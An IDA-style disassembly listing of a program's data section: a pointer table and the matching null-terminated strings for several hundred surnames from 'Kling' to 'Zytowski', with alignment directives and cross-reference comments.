"Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: .data:0042EBD4o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: .data:0042EBD0o align 4 aZurn db 'Zurn',0 ; DATA XREF: .data:0042EBCCo align 4 aZucconi db 'Zucconi',0 ; DATA XREF: .data:0042EBC8o aZoldak db 'Zoldak',0 ; DATA XREF: .data:0042EBC4o align 4 aZerbini db 'Zerbini',0 ; DATA XREF: .data:0042EBC0o aZegans db 'Zegans',0 ; DATA XREF: .data:0042EBBCo align 4 aZangwill db 'Zangwill',0 ; DATA XREF: .data:0042EBB8o align 10h aZahedi db 'Zahedi',0 ; DATA XREF: .data:0042EBB4o align 4 aZachary db 'Zachary',0 ; DATA XREF: .data:0042EBB0o aYu db 'Yu',0 ; DATA XREF: .data:0042EBACo align 4 aYoukSee db 'Youk-See',0 ; DATA XREF: .data:0042EBA8o align 10h aYoo db 'Yoo',0 ; DATA XREF: .data:0042EBA4o aYoffe db 'Yoffe',0 ; DATA XREF: .data:0042EBA0o align 4 aYetiv db 'Yetiv',0 ; DATA XREF: .data:0042EB9Co align 4 aYesson db 'Yesson',0 ; DATA XREF: .data:0042EB98o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: .data:0042EB94o aYbarra db 'Ybarra',0 ; DATA XREF: .data:0042EB90o align 4 aYates db 'Yates',0 ; DATA XREF: .data:0042EB8Co align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: .data:0042EB88o aYankee db 'Yankee',0 ; DATA XREF: .data:0042EB84o align 4 aYamane db 'Yamane',0 ; DATA XREF: .data:0042EB80o align 4 aYacono db 'Yacono',0 ; DATA XREF: .data:0042EB7Co align 4 aVotey db 'Votey',0 ; DATA XREF: .data:0042EB78o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: .data:0042EB74o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .data:0042EB70o align 4 aWoods db 'Woods',0 ; DATA XREF: .data:0042EB6Co align 4 aWooden db 'Wooden',0 ; DATA XREF: .data:0042EB68o align 4 aWoo db 'Woo',0 ; DATA XREF: .data:0042EB64o aVonhoffman db 'VonHoffman',0 ; DATA XREF: .data:0042EB60o align 4 aWolk db 'Wolk',0 ; DATA XREF: .data:0042EB5Co align 4 aVoigt db 'Voigt',0 ; DATA XREF: .data:0042EB58o align 4 aViviani db 'Viviani',0 ; DATA XREF: .data:0042EB54o aVitali db 'Vitali',0 ; DATA XREF: .data:0042EB50o align 4 aWilson db 'Wilson',0 ; DATA XREF: .data:0042EB4Co align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: .data:0042EB48o aVillarreal db 'Villarreal',0 ; DATA XREF: .data:0042EB44o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: .data:0042EB40o align 10h aWilkin db 'Wilkin',0 ; DATA XREF: .data:0042EB3Co align 4 aWilk db 'Wilk',0 ; DATA XREF: .data:0042EB38o align 10h aWilhelm db 'Wilhelm',0 ; DATA XREF: .data:0042EB34o aWilder db 'Wilder',0 ; DATA XREF: .data:0042EB30o align 10h aVignola db 'Vignola',0 ; DATA XREF: .data:0042EB2Co aViens db 'Viens',0 ; DATA XREF: .data:0042EB28o align 10h aWiener db 'Wiener',0 ; DATA XREF: .data:0042EB24o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .data:0042EB20o aViano db 'Viano',0 ; DATA XREF: .data:0042EB1Co align 4 aViana db 'Viana',0 ; DATA XREF: .data:0042EB18o align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: .data:0042EB14o align 10h aWhitla db 'Whitla',0 ; DATA XREF: .data:0042EB10o align 4 aWhite db 'White',0 ; DATA XREF: .data:0042EB0Co align 10h aWhilton db 'Whilton',0 ; DATA XREF: .data:0042EB08o aWhately db 'Whately',0 ; DATA XREF: .data:0042EB04o aWetzel db 'Wetzel',0 ; DATA XREF: .data:0042EB00o align 4 aWescott db 'Wescott',0 ; DATA XREF: .data:0042EAFCo aVerghese db 'Verghese',0 ; DATA XREF: .data:0042EAF8o align 4 aVenne db 'Venne',0 ; DATA XREF: .data:0042EAF4o align 4 aWengret db 'Wengret',0 ; DATA XREF: .data:0042EAF0o aWelsh db 'Welsh',0 ; DATA XREF: .data:0042EAECo align 4 aWelles db 'Welles',0 ; DATA XREF: .data:0042EAE8o align 4 aVelasquez db 'Velasquez',0 ; DATA XREF: .data:0042EAE4o align 4 aWeissman db 'Weissman',0 ; DATA XREF: .data:0042EAE0o align 4 aWeissbourd db 'Weissbourd',0 ; DATA XREF: .data:0042EADCo align 10h aWeinhaus db 'Weinhaus',0 ; DATA XREF: .data:0042EAD8o align 4 aWeingarten db 'Weingarten',0 ; DATA XREF: .data:0042EAD4o align 4 aWeighart db 'Weighart',0 ; DATA XREF: .data:0042EAD0o align 4 aWaugh db 'Waugh',0 ; DATA XREF: .data:0042EACCo align 4 aVasquez db 'Vasquez',0 ; DATA XREF: .data:0042EAC8o aWasowska db 'Wasowska',0 ; DATA XREF: .data:0042EAC4o align 10h aWarshafsky db 'Warshafsky',0 ; DATA XREF: .data:0042EAC0o align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .data:0042EABCo align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: .data:0042EAB8o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: .data:0042EAB4o aVanallen db 'vanAllen',0 ; DATA XREF: .data:0042EAB0o align 4 aWalter db 'Walter',0 ; DATA XREF: .data:0042EAACo align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: .data:0042EAA8o align 10h aWales db 'Wales',0 ; DATA XREF: .data:0042EAA4o align 4 aValencia db 'Valencia',0 ; DATA XREF: .data:0042EAA0o align 4 aValberg db 'Valberg',0 ; DATA XREF: .data:0042EA9Co aWaite db 'Waite',0 ; DATA XREF: .data:0042EA98o align 4 aVacca db 'Vacca',0 ; DATA XREF: .data:0042EA94o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: .data:0042EA90o align 4 aUsdan db 'Usdan',0 ; DATA XREF: .data:0042EA8Co align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .data:0042EA88o align 4 aUrban db 'Urban',0 ; DATA XREF: .data:0042EA84o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: .data:0042EA80o aUntermeyer db 'Untermeyer',0 ; DATA XREF: .data:0042EA7Co align 4 aUllman db 'Ullman',0 ; DATA XREF: .data:0042EA78o align 10h aTzamarias db 'Tzamarias',0 ; DATA XREF: .data:0042EA74o align 4 aTwells db 'Twells',0 ; DATA XREF: .data:0042EA70o align 4 aTuttle db 'Tuttle',0 ; DATA XREF: .data:0042EA6Co align 4 aTurek db 'Turek',0 ; DATA XREF: .data:0042EA68o align 4 aTurano db 'Turano',0 ; DATA XREF: .data:0042EA64o align 4 aTukan db 'Tukan',0 ; DATA XREF: .data:0042EA60o align 4 aTudge db 'Tudge',0 ; DATA XREF: .data:0042EA5Co align 4 aTuck db 'Tuck',0 ; DATA XREF: .data:0042EA58o align 4 aTsukurov db 'Tsukurov',0 ; DATA XREF: .data:0042EA54o align 10h aTsomides db 'Tsomides',0 ; DATA XREF: .data:0042EA50o align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: .data:0042EA4Co aTruss db 'Truss',0 ; DATA XREF: .data:0042EA48o align 4 aTroy db 'Troy',0 ; DATA XREF: .data:0042EA44o align 4 aTroiani db 'Troiani',0 ; DATA XREF: .data:0042EA40o aTringali db 'Tringali',0 ; DATA XREF: .data:0042EA3Co align 4 aTrewin db 'Trewin',0 ; DATA XREF: .data:0042EA38o align 10h aTrenga db 'Trenga',0 ; DATA XREF: .data:0042EA34o align 4 aTraebert db 'Traebert',0 ; DATA XREF: .data:0042EA30o align 4 aToye db 'Toye',0 ; DATA XREF: .data:0042EA2Co align 4 aTowler db 'Towler',0 ; DATA XREF: .data:0042EA28o align 4 aTorske db 'Torske',0 ; DATA XREF: .data:0042EA24o align 4 aTorresi db 'Torresi',0 ; DATA XREF: .data:0042EA20o aTopulos db 'Topulos',0 ; DATA XREF: .data:0042EA1Co aToomer db 'Toomer',0 ; DATA XREF: .data:0042EA18o align 4 aTomford db 'Tomford',0 ; DATA XREF: .data:0042EA14o aTolman db 'Tolman',0 ; DATA XREF: .data:0042EA10o align 4 aTolls db 'Tolls',0 ; DATA XREF: .data:0042EA0Co align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: .data:0042EA08o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: .data:0042EA04o align 4 aTimmons db 'Timmons',0 ; DATA XREF: .data:0042EA00o aTill db 'Till',0 ; DATA XREF: .data:0042E9FCo align 4 aTierney db 'Tierney',0 ; DATA XREF: .data:0042E9F8o aThroop db 'Throop',0 ; DATA XREF: .data:0042E9F4o align 4 aThomsen db 'Thomsen',0 ; DATA XREF: .data:0042E9F0o aThisted db 'Thisted',0 ; DATA XREF: .data:0042E9ECo aThibault db 'Thibault',0 ; DATA XREF: .data:0042E9E8o align 10h aTheodos db 'Theodos',0 ; DATA XREF: .data:0042E9E4o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .data:0042E9E0o align 4 aThan db 'Than',0 ; DATA XREF: .data:0042E9DCo align 10h aTerracini db 'Terracini',0 ; DATA XREF: .data:0042E9D8o align 4 aTenney db 'Tenney',0 ; DATA XREF: .data:0042E9D4o align 4 aTemmer db 'Temmer',0 ; DATA XREF: .data:0042E9D0o align 4 aTemes db 'Temes',0 